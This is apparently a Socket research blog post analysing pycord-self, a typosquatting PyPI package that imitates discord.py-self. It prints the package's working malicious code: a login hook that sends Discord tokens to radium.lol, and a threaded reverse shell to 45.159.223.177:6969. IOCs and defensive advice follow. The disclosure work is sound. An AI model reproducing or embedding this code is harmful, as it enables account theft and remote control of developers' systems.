The Socket team has identified a malicious PyPI package named pycord-self,
which targets developers seeking Python wrappers for the Discord user API. By mimicking the legitimate package discord.py-self
, this malicious package deceives developers into installing it, enabling attackers to steal Discord authentication tokens and gain remote control over their systems through a backdoor persistence mechanism. This typosquatting attack, which has already made its way onto hundreds of developer systems, highlights why it’s crucial for developers to carefully evaluate dependencies before installing them.
Who Are the Targeted Victims?
The primary targets of this attack are Python developers and Discord bot creators who are searching for user API libraries to integrate into their projects. These individuals might inadvertently install the malicious package due to its typosquatting strategy, which relies on users mistyping or misidentifying the legitimate package name (discord.py-self
).
Key Details and Observations
The malicious package, named pycord-self
, mimics the legitimate discord.py-self
library, which is a widely used Python wrapper for the Discord user API. While discord.py-self
has been downloaded over 27.88 million times and is maintained by a reputable author, "Dolfies," the fraudulent package lists "Linkedminds" as its maintainer and has only 885 downloads to date. The legitimate package was released on April 8, 2023, whereas the malicious counterpart appeared much later on June 20, 2024. These differences, including the stark contrast in download counts and the false attribution of authorship, highlight the deceptive intent of the malicious package.
Visual Comparison of Legitimate vs. Malicious Packages
To help developers recognize the differences, here is a side-by-side visual comparison of the legitimate and malicious packages:
Legitimate Package discord.py-self

Malicious Package pycord-self

Malicious Behavior
Upon inspection, the “pycord-self” package was found to include malicious code capable of performing the following actions:
1. Authentication Token Exfiltration
The following code snippet, found in the login
method, exfiltrates Discord authentication tokens to a malicious URL:
async def login(self, token: str) -> None:
_log.info('Logging in using static token.')
try:
import threading, os, socket, pty, platform, subprocess, requests
# Exfiltrate the token to a malicious URL
requests.get(
'http://radium.lol:42069/v2/3e728hd782dbyu12veyu2gd872fdg235jgg432fg/0/getupdates',
headers={'X-Sw-Version': token}
)
except Exception as e:
pass
Explanation: The above code sends the provided Discord token as a header to a malicious URL (http://radium.lol:42069/v2/...
). This exfiltration allows the attacker to gain unauthorized access to the victim's Discord account.
2. Backdoor Persistence Mechanism
The following snippet establishes a backdoor by connecting to a remote server:
def __internal_login():
try:
if platform.system() == 'Linux':
s = socket.socket()
s.connect(("45.159.223.177", 6969))
subprocess.Popen(["bash"], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())
elif platform.system() == 'Windows':
s = socket.socket()
s.connect(("45.159.223.177", 6969))
subprocess.Popen(["cmd"], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())
except:
__internal_login()
# Start the backdoor in a background thread
threading.Thread(target=__internal_login).start()
Explanation: This code establishes a backdoor by creating a persistent connection to a remote server (45.159.223.177
) on port 6969
. The IP address belongs to Contabo GmbH, a hosting provider company. Depending on the operating system, it launches a shell (“bash” on Linux or “cmd” on Windows), granting the attacker continuous access to the victim's system. The backdoor runs in a separate thread, making it difficult to detect while the package continues to appear functional.
Timeline of Activity
- Date of Upload: June 20, 2024
- Total Downloads: 860 as of discovery
Risks and Recommendations#
Risks
- Token Theft: Developers using this package risk exposing their Discord authentication tokens, potentially compromising their accounts.
- Backdoor Access: The persistence mechanism allows attackers continuous control over the victim's system, enabling further malicious activities.
Recommendations
- Avoid Installing Suspicious Packages: Always verify the author and popularity of a package before installation.
- Use Package Scanning Tools: Employ tools like Socket to detect and block malicious packages.
- Update and Audit Dependencies: Regularly review and update dependencies to ensure no malicious packages are present.
- Report Suspicious Activity: Notify PyPI and the security community if a malicious package is identified.
IOCs
- IP Addresses:
45.159.223.177
Used as the command-and-control (C2) server for the reverse shell. - Domains:
radium.lol
Contacted to retrieve updates, likely for exfiltration or additional commands. - URLs:
http://radium.lol:42069/v2/3e728hd782dbyu12veyu2gd872fdg235jgg432fg/0/getupdates
This URL is accessed with an authentication token, likely for command updates. - Ports:
6969
The malicious code attempts to open a reverse shell to this port on 45.159.223.177
Additional Resources
Socket Research Team
Dhanesh Dodia
Sambarathi Sai
Dwijay Chintakunta